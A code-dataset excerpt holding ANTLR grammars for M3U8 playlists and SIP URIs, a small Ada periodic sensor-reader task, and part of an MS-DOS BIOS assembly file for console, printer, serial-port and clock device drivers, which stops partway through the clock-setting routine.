max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
|---|---|---|---|---|
src/grammar/playlist_lexer.g4 | IvanPysmenni/ANTLR_M3U8Parser | 0 | 3161 | <gh_stars>0
lexer grammar playlist_lexer;
ENTER_LABEL: HASHTAG 'EXTM3U';
EXTINFO_LABEL: HASHTAG 'EXTINF';
LETTER: [a-zA-Z\u0080-\u{10FFFF}];
NEWLINE: ('\r'? '\n' | '\r')+;
WHITE_SPACE: (' ' | '\t');
DIGIT: [0-9];
SPECIAL_SYMBOL: [!@$%^&*\\/];
DASH: [-];
COLON: [:];
COMMA: [,];
POINT: [.];
HASHTAG: [#]; |
src/reader.adb | STR-UPM/ToyOBDH | 1 | 22068 | <filename>src/reader.adb
-------------------------------------------------------------------------------
-- --
-- Copyright (C) 2017, Universidad Politécnica de Madrid --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions are --
-- met: --
-- 1. Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- 2. Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in --
-- the documentation and/or other materials provided with the --
-- distribution. --
-- 3. Neither the name of the copyright holder nor the names of its --
-- contributors may be used to endorse or promote products derived --
-- from this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT --
-- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, --
-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY --
-- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT --
-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE --
-- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
with Measurements; use Measurements;
with Sensor;
with Buffer;
with Ada.Real_Time; use Ada.Real_Time;
package body Reader is
-------------------------
-- Internal operations --
-------------------------
procedure Read;
-- Read a value from a temperature sensor
----------------------
-- Reader task body --
----------------------
task body Reader_Task is -- cyclic
Next_Time : Time := Clock + Milliseconds(Start_Delay);
begin
loop
delay until Next_Time;
Read;
Next_Time := Next_Time + Milliseconds(Period);
end loop;
end Reader_Task;
----------
-- Read --
----------
procedure Read is
T : Temperature;
M : Measurement;
begin
Sensor.Get(T);
M := (Value => T, Timestamp => Clock);
Buffer.Put(M);
end Read;
end Reader;
|
src/main/antlr4/Sip.g4 | hemantsonu20/sip-parser-antlr | 1 | 2829 | <gh_stars>1-10
grammar Sip;
@header {
/**
* Copyright 2016 <NAME>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
package antlr4;
}
sipUri
:
SIP_SCHEME coreUri
;
sipsUri
:
SIPS_SCHEME coreUri
;
coreUri
:
USER_INFO? hostPort
;
hostPort
:
HOST PORT?
;
USER_INFO
:
USER CH_ATTHERATE
;
PORT
:
CH_COLON DIGIT+
;
HOST
:
HOST_NAME
| IPV4ADDRESS
| IPV6REFERENCE
;
fragment
USER
:
(
UNRESERVED_ESCAPED
| USER_UNRESERVED
)+
;
// Not supporting password currently
//
//PASSWORD
//:
// CH_COLON
// (
// UNRESERVED_ESCAPED
// | PASSWORD_UNRESERVED
// )*
//;
fragment
HOST_NAME
:
(
DOMAIN_LABEL CH_DOT
)* TOP_LABEL CH_DOT?
;
fragment
IPV4ADDRESS
:
DIGIT_1_TO_3 CH_DOT DIGIT_1_TO_3 CH_DOT DIGIT_1_TO_3 CH_DOT DIGIT_1_TO_3
;
fragment
IPV6REFERENCE
:
CH_LEFTBRACKET IPV6ADDRESS CH_RIGHTBRACKET
;
fragment
IPV6ADDRESS
:
HEX_PART
(
CH_COLON IPV4ADDRESS
)?
;
fragment
DOMAIN_LABEL
:
ALPHA_NUM
|
(
ALPHA_NUM
(
ALPHA_NUM
| CH_HYPHEN
)* ALPHA_NUM
)
;
fragment
TOP_LABEL
:
ALPHA
|
(
ALPHA
(
ALPHA_NUM
| CH_HYPHEN
)* ALPHA_NUM
)
;
fragment
HEX_PART
:
HEX_SEQ
|
(
HEX_SEQ CH_COLON CH_COLON HEX_SEQ?
)
|
(
CH_COLON CH_COLON HEX_SEQ?
)
;
fragment
HEX_SEQ
:
HEX_DIGIT_1_TO_4
(
CH_COLON HEX_DIGIT_1_TO_4
)*
;
fragment
DIGIT_1_TO_3
:
DIGIT
| DIGIT DIGIT
| DIGIT DIGIT DIGIT
;
fragment
HEX_DIGIT_1_TO_4
:
HEX_DIG
| HEX_DIG HEX_DIG
| HEX_DIG HEX_DIG HEX_DIG
| HEX_DIG HEX_DIG HEX_DIG HEX_DIG
;
SIP_SCHEME
:
'sip:'
;
SIPS_SCHEME
:
'sips:'
;
fragment
UNRESERVED_ESCAPED
:
UNRESERVED
| ESCAPED
;
fragment
UNRESERVED
:
ALPHA_NUM
| MARK
;
ESCAPED
:
CH_PERCENT HEX_DIG HEX_DIG
;
fragment
HEX_DIG
:
DIGIT
|
(
'A' .. 'F'
)
;
fragment
ALPHA_NUM
:
ALPHA
| DIGIT
;
fragment
ALPHA
:
(
'a' .. 'z'
| 'A' .. 'Z'
)
;
fragment
DIGIT
:
(
'0' .. '9'
)
;
fragment
USER_UNRESERVED
:
CH_AMPERSAND
| CH_EQUAL
| CH_PLUS
| CH_DOLLAR
| CH_COMMA
| CH_SEMICOLON
| CH_QUESTION
| CH_FWDSLASH
;
fragment
MARK
:
CH_HYPHEN
| CH_UNDERSCORE
| CH_DOT
| CH_NOT
| CH_TILDE
| CH_STAR
| CH_SINGLEQUOTE
| CH_LEFTBRACE
| CH_RIGHTBRACE
;
fragment
CH_AMPERSAND
:
'&'
;
fragment
CH_EQUAL
:
'='
;
fragment
CH_PLUS
:
'+'
;
fragment
CH_DOLLAR
:
'$'
;
fragment
CH_COMMA
:
','
;
CH_SEMICOLON
:
';'
;
fragment
CH_QUESTION
:
'?'
;
fragment
CH_ATTHERATE
:
'@'
;
fragment
CH_COLON
:
':'
;
fragment
CH_DOT
:
'.'
;
fragment
CH_RIGHTBRACKET
:
']'
;
fragment
CH_LEFTBRACKET
:
'['
;
fragment
CH_FWDSLASH
:
'/'
;
fragment
CH_PERCENT
:
'%'
;
fragment
CH_RIGHTBRACE
:
')'
;
fragment
CH_LEFTBRACE
:
'('
;
fragment
CH_HYPHEN
:
'-'
;
fragment
CH_NOT
:
'!'
;
fragment
CH_STAR
:
'*'
;
fragment
CH_UNDERSCORE
:
'_'
;
fragment
CH_CURLYQUOTE
:
'`'
;
fragment
CH_SINGLEQUOTE
:
'\''
;
fragment
CH_TILDE
:
'~'
;
|
bios/mschar.asm | minblock/msdos | 0 | 165641 | ;/*
; * Microsoft Confidential
; * Copyright (C) Microsoft Corporation 1981-1991
; * All Rights Reserved.
; */
page ,160
title mschar - character and clock devices
;
;----------------------------------------------------------------------------
;
; M013 : printer driver recognizes a special return value from MODE's
; INT 17 handler and does not do a retry operation. This is used
; to break out of tight loops in case mode was installed with the
; 'R' option. This involves change in MODE also (Tag # M001)
;
; M026 : Putting back the buggy 4.01 code in auxin. (Time out bug)
;
; M044 : Isolating NOPRINTER bits from error before cmp it with NOPRINTER
;
; M059 : Bug #5002. Treat rollover byte as a count instead of a flag, if
; t_switch is not set.
;
;----------------------------------------------------------------------------
;
.xlist
include version.inc ; set build flags
include biosseg.inc ; establish bios segment structure
include msequ.inc
include devsym.inc
include bpb.inc
include ioctl.inc
break macro
endm
include error.inc
.list
include msgroup.inc ; define Bios_Data segment
extrn ptrsav:dword
extrn fhavek09:byte
extrn altah:byte
extrn keyrd_func:byte
extrn keysts_func:byte
extrn auxnum:word
extrn auxbuf:byte
extrn wait_count:word
extrn printdev:byte
; daycnt is the number of days since 1-1-80.
; each time the clock is read it is necessary to check if another day has
; passed. the rom only returns the day rollover once so if it is missed
; the time will be off by a day.
extrn daycnt:word
extrn t_switch:byte
extrn havecmosclock:byte
extrn base_century:byte
extrn base_year:byte
extrn month_tab:byte
extrn ttticks:dword
extrn bintobcd:dword ; far indirect calls to routines
extrn daycnttoday:dword ; installed by msinit for cmos clock
; close Bios_Data and open Bios_Code segment
tocode
extrn bc_cmderr:near
extrn bc_err_cnt:near
MODE_CTRLBRK equ 0ffh ; M013
;************************************************************************
;* *
;* device driver dispatch tables *
;* *
;* each table starts with a byte which lists the number of *
;* legal functions, followed by that number of words. Each *
;* word represents an offset of a routine in Bios_Code which *
;* handles the function. The functions are terminated with *
;* a near return. If carry is reset, a 'done' code is returned *
;* to the caller. If carry is set, the ah/al registers are *
;* returned as abnormal completion status. Notice that ds *
;* is assumed to point to the Bios_Data segment throughout. *
;* *
;************************************************************************
public con_table
con_table:
db (((offset con_table_end) - (offset con_table) - 1)/2)
dw bc_exvec ; 00 init
dw bc_exvec ; 01
dw bc_exvec ; 02
dw bc_cmderr ; 03
dw con_read ; 04
dw con_rdnd ; 05
dw bc_exvec ; 06
dw con_flush ; 07
dw con_writ ; 08
dw con_writ ; 09
dw bc_exvec ; 0a
con_table_end:
public prn_table
prn_table label byte
db (((offset prn_table_end) - (offset prn_table) -1)/2)
dw bc_exvec ; 00 init
dw bc_exvec ; 01
dw bc_exvec ; 02
dw bc_cmderr ; 03
dw prn_input ; 04 indicate zero chars read
dw z_bus_exit ; 05 read non-destructive
dw bc_exvec ; 06
dw bc_exvec ; 07
dw prn_writ ; 08
dw prn_writ ; 09
dw prn_stat ; 0a
dw bc_exvec ; 0b
dw bc_exvec ; 0c
dw bc_exvec ; 0d
dw bc_exvec ; 0e
dw bc_exvec ; 0f
dw prn_tilbusy ; 10
dw bc_exvec ; 11
dw bc_exvec ; 12
dw prn_genioctl ; 13
dw bc_exvec ; 14
dw bc_exvec ; 15
dw bc_exvec ; 16
dw bc_exvec ; 17
dw bc_exvec ; 18
dw prn_ioctl_query ; 19
prn_table_end:
public aux_table
aux_table label byte
db (((offset aux_table_end) - (offset aux_table) -1)/2)
dw bc_exvec ; 00 - init
dw bc_exvec ; 01
dw bc_exvec ; 02
dw bc_cmderr ; 03
dw aux_read ; 04 - read
dw aux_rdnd ; 05 - read non-destructive
dw bc_exvec ; 06
dw aux_flsh ; 07
dw aux_writ ; 08
dw aux_writ ; 09
dw aux_wrst ; 0a
aux_table_end:
public tim_table
tim_table label byte
db (((offset tim_table_end) - (offset tim_table) -1)/2)
dw bc_exvec ; 00
dw bc_exvec ; 01
dw bc_exvec ; 02
dw bc_cmderr ; 03
dw tim_read ; 04
dw z_bus_exit ; 05
dw bc_exvec ; 06
dw bc_exvec ; 07
dw tim_writ ; 08
dw tim_writ ; 09
tim_table_end:
;************************************************************************
;* *
;* con_read - read cx bytes from keyboard into buffer at es:di *
;* *
;************************************************************************
con_read proc near
assume ds:Bios_Data,es:nothing
jcxz con_exit
con_loop:
call chrin ;get char in al
stosb ;store char at es:di
loop con_loop
con_exit:
clc
ret
con_read endp
;************************************************************************
;* *
;* chrin - input single char from keyboard into al *
;* *
;* we are going to issue extended keyboard function, if *
;* supported. the returning value of the extended keystroke *
;* of the extended keyboard function uses 0e0h in al *
;* instead of 00 as in the conventional keyboard function. *
;* this creates a conflict when the user entered real *
;* greek alpha charater (= 0e0h) to distinguish the extended *
;* keystroke and the greek alpha. this case will be handled *
;* in the following manner: *
;* *
;* ah = 16h *
;* int 16h *
;* if al == 0, then extended code (in ah) *
;* else if al == 0e0h, then *
;* if ah <> 0, then extended code (in ah) *
;* else greek_alpha character. *
;* *
;* also, for compatibility reason, if an extended code is *
;* detected, then we are going to change the value in al *
;* from 0e0h to 00h. *
;* *
;************************************************************************
chrin proc near
assume ds:Bios_Data,es:nothing
mov ah,keyrd_func ; set by msinit. 0 or 10h
xor al,al
xchg al,altah ;get character & zero altah
or al,al
jnz keyret
int 16h ; do rom bios keyrd function
alt10:
or ax,ax ;check for non-key after break
jz chrin
cmp ax,7200h ;check for ctrl-prtsc
jnz alt_ext_chk
mov al,16
jmp short keyret
alt_ext_chk:
;**************************************************************
; if operation was extended function (i.e. keyrd_func != 0) then
; if character read was 0e0h then
; if extended byte was zero (i.e. ah == 0) then
; goto keyret
; else
; set al to zero
; goto alt_save
; endif
; endif
; endif
cmp byte ptr keyrd_func,0
jz not_ext
cmp al,0e0h
jnz not_ext
or ah,ah
jz keyret
ifdef DBCS
ifdef KOREA ; Keyl 1990/11/5
cmp ah, 0f0h ; If hangeul code range then
jb EngCodeRange1 ; do not modify any value.
cmp ah, 0f2h
jbe not_ext
EngCodeRange1:
endif ; KOREA
endif ; DBCS
xor al,al
jmp short alt_save
not_ext:
or al,al ;special case?
jnz keyret
alt_save:
mov altah,ah ;store special key
keyret:
ret
chrin endp
;************************************************************************
;* *
;* con_rdnd - keyboard non destructive read, no wait *
;* *
;* pc-convertible-type machine: if bit 10 is set by the dos *
;* in the status word of the request packet, and there is no *
;* character in the input buffer, the driver issues a system *
;* wait request to the rom. on return from the rom, it returns *
;* a 'char-not-found' to the dos. *
;* *
;************************************************************************
con_rdnd proc near
assume ds:Bios_Data,es:nothing
mov al,[altah]
or al,al
jnz rdexit
mov ah,keysts_func ; keyboard i/o interrupt - get
int 16h ; keystroke status (keysts_func)
jnz gotchr
cmp fhavek09,0
jz z_bus_exit ; return with busy status if not k09
les bx,[ptrsav]
assume es:nothing
test es:[bx].status,0400h ; system wait enabled?
jz z_bus_exit ; return with busy status if not
; need to wait for ibm response to request for code
; on how to use the system wait call.
mov ax,4100h ; wait on an external event
xor bl,bl ; M055; wait for any event
int 15h ; call rom for system wait
z_bus_exit:
stc
mov ah,3 ; indicate busy status
ret
gotchr:
or ax,ax
jnz notbrk ;check for null after break
mov ah,keyrd_func ; issue keyboard read function
int 16h
jmp con_rdnd ;and get a real status
notbrk:
cmp ax,7200h ;check for ctrl-prtsc
jnz rd_ext_chk
mov al,'P' and 1fh ; return control p
jmp short rdexit
rd_ext_chk:
cmp keyrd_func,0 ; extended keyboard function?
jz rdexit ; no. normal exit.
cmp al,0e0h ; extended key value or greek alpha?
jne rdexit
ifdef DBCS
ifdef KOREA
cmp ah, 0f0h ; If hangeul code range then
jb EngCodeRange ; do not modify any value.
cmp ah, 0f2h
jbe rdexit ; Keyl 90/11/5
EngCodeRange:
endif ; KOREA
endif ; DBCS
cmp ah,0 ; scan code exist?
jz rdexit ; yes. greek alpha char.
mov al,0 ; no. extended key stroke.
; change it for compatibility
rdexit:
les bx,[ptrsav]
assume es:nothing
mov es:[bx].media,al ; *** return keyboard character here
bc_exvec:
clc ; indicate normal termination
ret
con_rdnd endp
;************************************************************************
;* *
;* con_write - console write routine *
;* *
;* entry: es:di -> buffer *
;* cx = count *
;* *
;************************************************************************
con_writ proc near
assume ds:Bios_Data,es:nothing
jcxz bc_exvec
con_lp:
mov al,es:[di] ;get char
inc di
int chrout ;output char
loop con_lp ;repeat until all through
cc_ret:
clc
ret
con_writ endp
;************************************************************************
;* *
;* con_flush - flush out keyboard queue *
;* *
;************************************************************************
public con_flush ; called from msbio2.asm for floppy swapping
con_flush proc near
assume ds:Bios_Data,es:nothing
mov [altah],0 ;clear out holding buffer
; while (charavail()) charread();
flloop:
mov ah,1 ; command code for check status
int 16h ; call rom-bios keyboard routine
jz cc_ret ; return carry clear if none
xor ah,ah ; if zf is nof set, get character
int 16h ; call rom-bios to get character
jmp flloop
con_flush endp
;************************************************************************
;* *
;* some equates for rom bios printer i/o *
;* *
;************************************************************************
; ibm rom status bits (i don't trust them, neither should you)
; warning!!! the ibm rom does not return just one bit. it returns a
; whole slew of bits, only one of which is correct.
notbusystatus = 10000000b ; not busy
nopaperstatus = 00100000b ; no more paper
prnselected = 00010000b ; printer selected
ioerrstatus = 00001000b ; some kinda error
timeoutstatus = 00000001b ; time out.
noprinter = 00110000b ; no printer attached
;************************************************************************
;* *
;* prn_input - return with no error but zero chars read *
;* *
;* enter with cx = number of characters requested *
;* *
;************************************************************************
prn_input proc near
assume ds:Bios_Data,es:nothing
call bc_err_cnt ; reset count to zero (sub reqpkt.count,cx)
clc ; but return with carry reset for no error
ret
prn_input endp
;************************************************************************
;* *
;* prn_writ - write cx bytes from es:di to printer device *
;* *
;* auxnum has printer number *
;* *
;************************************************************************
prn_writ proc near
assume ds:Bios_Data,es:nothing
jcxz prn_done ;no chars to output
prn_loop:
mov bx,2 ;retry count
prn_out:
call prnstat ; get status
jnz TestPrnError ; error
mov al,es:[di] ; get character to print
xor ah,ah
call prnop ; print to printer
jz prn_con ; no error - continue
cmp ah, MODE_CTRLBRK ; M013
jne @f ; M013
mov al, error_I24_gen_failure ; M013
mov altah, 0 ; M013
jmp short pmessg ; M013
@@:
test ah,timeoutstatus
jz prn_con ; not time out - continue
TestPrnError:
dec bx ;retry until count is exhausted.
jnz prn_out
pmessg:
jmp bc_err_cnt ; return with error
; next character
prn_con:
inc di ;point to next char and continue
loop prn_loop
prn_done:
clc
ret
prn_writ endp
;************************************************************************
;* *
;* prn_stat - device driver entry to return printer status *
;* *
;************************************************************************
prn_stat proc near
call prnstat ;device in dx
jnz pmessg ; other errors were found
test ah,notbusystatus
jnz prn_done ;no error. exit
jmp z_bus_exit ; return busy status
prn_stat endp
;************************************************************************
;* *
;* prnstat - utilty function to call ROM BIOS to check *
;* printer status. Return meaningful error code *
;* *
;************************************************************************
prnstat proc near
assume ds:Bios_Data,es:nothing
mov ah, 2 ; set command for get status
prnstat endp ; fall into prnop
;************************************************************************
;* *
;* prnop - call ROM BIOS printer function in ah *
;* return zero true if no error *
;* return zero false if error, al = error code *
;* *
;************************************************************************
prnop proc near
assume ds:Bios_Data,es:nothing
mov dx,[auxnum] ; get printer number
int 17h ; call rom-bios printer routine
; This check was added to see if this is a case of no
; printer being installed. This tests checks to be sure
; the error is noprinter (30h)
push ax ; M044
and ah, noprinter ; M044
cmp AH,noprinter ; Chk for no printer
pop ax ; M044
jne NextTest
and AH,NOT nopaperstatus
or AH,ioerrstatus
; examine the status bits to see if an error occurred. unfortunately, several
; of the bits are set so we have to pick and choose. we must be extremely
; careful about breaking basic.
NextTest:
test ah,(ioerrstatus+nopaperstatus) ; i/o error?
jz checknotready ; no, try not ready
; at this point, we know we have an error. the converse is not true.
mov al,error_I24_out_of_paper
; first, assume out of paper
test ah,nopaperstatus ; out of paper set?
jnz ret1 ; yes, error is set
inc al ; return al=10 (i/o error)
ret1:
ret ; return with error
checknotready:
mov al,2 ; assume not-ready
test ah,timeoutstatus ; is time-out set?
ret ; if nz then error, else ok
prnop endp
;************************************************************************
;* *
;* prn_tilbusy - output until busy. Used by print spooler. *
;* this entry point should never block waiting for *
;* device to come ready. *
;* *
;* inputs: cx = count, es:di -> buffer *
;* outputs: set the number of bytes transferred in the *
;* device driver request packet *
;* *
;************************************************************************
prn_tilbusy proc near
mov si,di ; everything is set for lodsb
prn_tilbloop:
push cx
push bx
xor bh,bh
mov bl,[printdev]
shl bx,1
mov cx,wait_count[bx] ; wait count times to come ready
pop bx
prn_getstat:
call prnstat ; get status
jnz prn_bperr ; error
test ah,10000000b ; ready yet?
loopz prn_getstat ; no, go for more
pop cx ; get original count
jz prn_berr ; still not ready => done
lods es:byte ptr [si]
xor ah,ah
call prnop
jnz prn_berr ; error
loop prn_tilbloop ; go for more
clc ; normal no-error return
ret ; from device driver
prn_bperr:
pop cx ; restore transfer count from stack
prn_berr:
jmp bc_err_cnt
prn_tilbusy endp
;************************************************************************
;* *
;* prn_genioctl - get/set printer retry count *
;* *
;************************************************************************
prn_genioctl proc near
assume ds:Bios_Data,es:nothing
les di,[ptrsav]
cmp es:[di].majorfunction,ioc_pc
jz prnfunc_ok
prnfuncerr:
jmp bc_cmderr
prnfunc_ok:
mov al,es:[di].minorfunction
les di,es:[di].genericioctl_packet
xor bh,bh
mov bl,[printdev] ; get index into retry counts
shl bx,1
mov cx,wait_count[bx] ; pull out retry count for device
cmp al,get_retry_count
jz prngetcount
cmp al,set_retry_count
jnz prnfuncerr
mov cx,es:[di].rc_count
prngetcount:
mov wait_count[bx],cx ; place "new" retry count
mov es:[di].rc_count,cx ; return current retry count
clc
ret
prn_genioctl endp
;************************************************************************
;* *
;* prn_ioctl_query *
;* *
;* Added for 5.00 *
;************************************************************************
prn_ioctl_query PROC NEAR
assume ds:Bios_Data,es:nothing
les di,[ptrsav]
cmp es:[di].majorfunction,ioc_pc
jne prn_query_err
mov al,es:[di].minorfunction
cmp al,get_retry_count
je IOCtlSupported
cmp al,set_retry_count
jne prn_query_err
IOCtlSupported:
clc
ret
prn_query_err:
stc
jmp BC_CmdErr
prn_ioctl_query ENDP
;************************************************************************
;* *
;* aux port driver code -- "aux" == "com1" *
;* *
;* the device driver entry/dispatch code sets up auxnum to *
;* give the com port number to use (0=com1, 1=com2, 2=com3...) *
;* *
;************************************************************************
; values in ah, requesting function of int 14h in rom bios
auxfunc_send equ 1 ;transmit
auxfunc_receive equ 2 ;read
auxfunc_status equ 3 ;request status
; error flags, reported by int 14h, reported in ah:
flag_data_ready equ 01h ;data ready
flag_overrun equ 02h ;overrun error
flag_parity equ 04h ;parity error
flag_frame equ 08h ;framing error
flag_break equ 10h ;break detect
flag_tranhol_emp equ 20h ;transmit holding register empty
flag_timeout equ 80h ;timeout
; these flags reported in al:
flag_cts equ 10h ;clear to send
flag_dsr equ 20h ;data set ready
flag_rec_sig equ 80h ;receive line signal detect
;************************************************************************
;* *
;* aux_read - read cx bytes from [auxnum] aux port to buffer *
;* at es:di *
;* *
;************************************************************************
aux_read proc near
assume ds:Bios_Data,es:nothing
jcxz exvec2 ; if no characters, get out
call getbx ; put address of auxbuf in bx
xor al,al ; clear al register
xchg al,[bx] ; get character , if any, from
; buffer and clear buffer
or al,al ; if al is nonzero there was a
; character in the buffer
jnz aux2 ; if so skip first auxin call
aux1:
call auxin ; get character from port
; ^^^^^ won't return if error
aux2:
stosb ; store character
loop aux1 ; if more characters, go around again
exvec2:
clc ; all done, successful exit
ret
aux_read endp
;************************************************************************
;* *
;* auxin - call rom bios to read character from aux port *
;* if error occurs, map the error and return one *
;* level up to device driver exit code, setting *
;* the number of bytes transferred appropriately *
;* *
;************************************************************************
;
; M026 - BEGIN
;
auxin proc near
mov ah,auxfunc_receive
call auxop ;check for frame, parity, or overrun errors
;warning: these error bits are unpredictable
; if timeout (bit 7) is set
test ah, flag_frame or flag_parity or flag_overrun
jnz arbad ; skip if any error bits set
ret ; normal completion, ah=stat, al=char
; error getting character
arbad:
pop ax ; remove return address (near call)
xor al,al
or al,flag_rec_sig or flag_dsr or flag_cts
jmp bc_err_cnt
auxin endp
IFDEF COMMENTEDOUT
auxin proc near
push cx
mov cx, 20 ; number of retries on time out errors
@@:
mov ah,auxfunc_receive
call auxop ;check for frame, parity, or overrun errors
;warning: these error bits are unpredictable
; if timeout (bit 7) is set
test ah, flag_timeout
jz no_timeout
loop @b
no_timeout:
pop cx
test ah, flag_timeout or flag_frame or flag_parity or flag_overrun
jnz arbad ; skip if any error bits set
ret ; normal completion, ah=stat, al=char
; error getting character
arbad:
pop ax ; remove return address (near call)
xor al,al
or al,flag_rec_sig or flag_dsr or flag_cts
jmp bc_err_cnt
auxin endp
ENDIF
;
; M026 - END
;
;************************************************************************
;* *
;* aux_rdnd - non-destructive aux port read *
;* *
;************************************************************************
aux_rdnd proc near
assume ds:Bios_Data,es:nothing
call getbx ; have bx point to auxbuf
mov al,[bx] ; copy contents of buffer to al
or al,al ; if al is non-zero (char in buffer)
jnz auxrdx ; then return character
call auxstat ; if not, get status of aux device
test ah,flag_data_ready ; test data ready
jz auxbus ; then device is busy (not ready)
test al,flag_dsr ;test data set ready
jz auxbus ; then device is busy (not ready)
call auxin ; else aux is ready, get character
mov [bx],al ; save character in buffer
auxrdx:
jmp rdexit ; return al in [packet.media]
auxbus:
jmp z_bus_exit ; return busy status
aux_rdnd endp
;************************************************************************
;* *
;* aux_wrst - return aux port write status *
;* *
;************************************************************************
aux_wrst proc near
assume ds:Bios_Data,es:nothing
call auxstat ; get status of aux in ax
test al,flag_dsr ; test data set ready
jz auxbus ; then device is busy (not ready)
test ah,flag_tranhol_emp ;test transmit hold reg empty
jz auxbus ; then device is busy (not ready)
clc
ret
aux_wrst endp
;************************************************************************
;* *
;* auxstat - call rom bios to determine aux port status *
;* *
;* exit: ax = status *
;* dx = [auxnum] *
;* *
;************************************************************************
auxstat proc near
mov ah,auxfunc_status
auxstat endp ; fall into auxop
;************************************************************************
;* *
;* auxop - perform rom-biox aux port interrupt *
;* *
;* entry: ah = int 14h function number *
;* exit: ax = results *
;* dx = [auxnum] *
;* *
;************************************************************************
auxop proc near
;ah=function code
;0=init, 1=send, 2=receive, 3=status
mov dx,[auxnum] ; get port number
int 14h ; call rom-bios for status
ret
auxop endp
;************************************************************************
;* *
;* aux_flsh - flush aux input buffer - set contents of *
;* auxbuf [auxnum] to zero *
;* *
;* cas - shouldn't this code call the rom bios input function *
;* repeatedly until it isn't ready? to flush out any *
;* pending serial input queue if there's a tsr like MODE *
;* which is providing interrupt-buffering of aux port? *
;* *
;************************************************************************
aux_flsh proc near
call getbx ; get bx to point to auxbuf
mov byte ptr [bx],0 ; zero out buffer
clc ; all done, successful return
ret
aux_flsh endp
;************************************************************************
;* *
;* aux_writ - write to aux device *
;* *
;************************************************************************
aux_writ proc near
assume ds:Bios_Data ; set by aux device driver entry routine
jcxz exvec2 ; if cx is zero, no characters
; to be written, jump to exit
aux_loop:
mov al,es:[di] ; get character to be written
inc di ; move di pointer to next character
mov ah,auxfunc_send ;value=1, indicates a write
call auxop ;send character over aux port
test ah,flag_timeout ;check for error
jz awok ; then no error
mov al,10 ; else indicate write fault
jmp bc_err_cnt ; call error routines
; if cx is non-zero, still more
awok:
loop aux_loop ; more characrter to print
clc ; all done, successful return
ret
aux_writ endp
;************************************************************************
;* *
;* getbx - return bx -> single byte input buffer for *
;* selected aux port ([auxnum]) *
;* *
;************************************************************************
getbx proc near
assume ds:Bios_Data,es:nothing
mov bx,[auxnum]
add bx,offset auxbuf
ret
getbx endp
;----------------------------------------------------------------
; :
; clock device driver :
; :
; :
; this file contains the clock device driver. :
; :
; the routines in this files are: :
; :
; routine function :
; ------- -------- :
; tim_writ set the current time :
; tim_read read the current time :
; time_to_ticks convert time to corresponding :
; number of clock ticks :
; :
; the clock ticks at the rate of: :
; :
; 1193180/65536 ticks/second (about 18.2 ticks per second):
; see each routine for information on the use. :
; :
;----------------------------------------------------------------
; convert time to ticks
; input : time in cx and dx
; ticks returned in cx:dx
public time_to_ticks
time_to_ticks proc far
; first convert from hour,min,sec,hund. to
; total number of 100th of seconds
mov al,60
mul ch ;hours to minutes
mov ch,0
add ax,cx ;total minutes
mov cx,6000 ;60*100
mov bx,dx ;get out of the way of the multiply
mul cx ;convert to 1/100 sec
mov cx,ax
mov al,100
mul bh ;convert seconds to 1/100 sec
add cx,ax ;combine seconds with hours and min.
adc dx,0 ;ripple carry
mov bh,0
add cx,bx ;combine 1/100 sec
adc dx,0
; dx:cx is time in 1/100 sec
xchg ax,dx
xchg ax,cx ;now time is in cx:ax
mov bx,59659
mul bx ;multiply low half
xchg dx,cx
xchg ax,dx ;cx->ax, ax->dx, dx->cx
mul bx ;multiply high half
add ax,cx ;combine overlapping products
adc dx,0
xchg ax,dx ;ax:dx=time*59659
mov bx,5
div bl ;divide high half by 5
mov cl,al
mov ch,0
mov al,ah ;remainder of divide-by-5
cbw
xchg ax,dx ;use it to extend low half
div bx ;divde low half by 5
mov dx,ax
; cx:dx is now number of ticks in time
ret
time_to_ticks endp
;--------------------------------------------------------------------
;
; tim_writ sets the current time
;
; on entry es:[di] has the current time:
;
; number of days since 1-1-80 (word)
; minutes (0-59) (byte)
; hours (0-23) (byte)
; hundredths of seconds (0-99) (byte)
; seconds (0-59) (byte)
;
; each number has been checked for the correct range.
;
IFDEF POWER ; Power management driver has it's own version of
; this routine. ;M074
extrn tim_writ:near
ELSE
; NOTE: Any changes in this routine probably require corresponding
; changes in the version that is built with the power manager driver.
; See ptime.asm.
tim_writ proc near
assume ds:Bios_Data
mov ax,word ptr es:[di]
push ax ;daycnt. we need to set this at the very
; end to avoid tick windows.
cmp havecmosclock, 0
je no_cmos_1
mov al,es:[di+3] ;get binary hours
call bintobcd ;convert to bcd
mov ch,al ;ch = bcd hours
mov al,es:[di+2] ;get binary minutes
call bintobcd ;convert to bcd
mov cl,al ;cl = bcd minutes
mov al,es:[di+5] ;get binary seconds
call bintobcd ;convert to bcd
mov dh,al ;dh = bcd seconds
mov dl,0 ;dl = 0 (st) or 1 (dst)
cli ;turn off timer
mov ah,03h ;set rtc time
int 1ah ;call rom bios clock routine
sti
no_cmos_1:
mov cx,word ptr es:[di+2]
mov dx,word ptr es:[di+4]
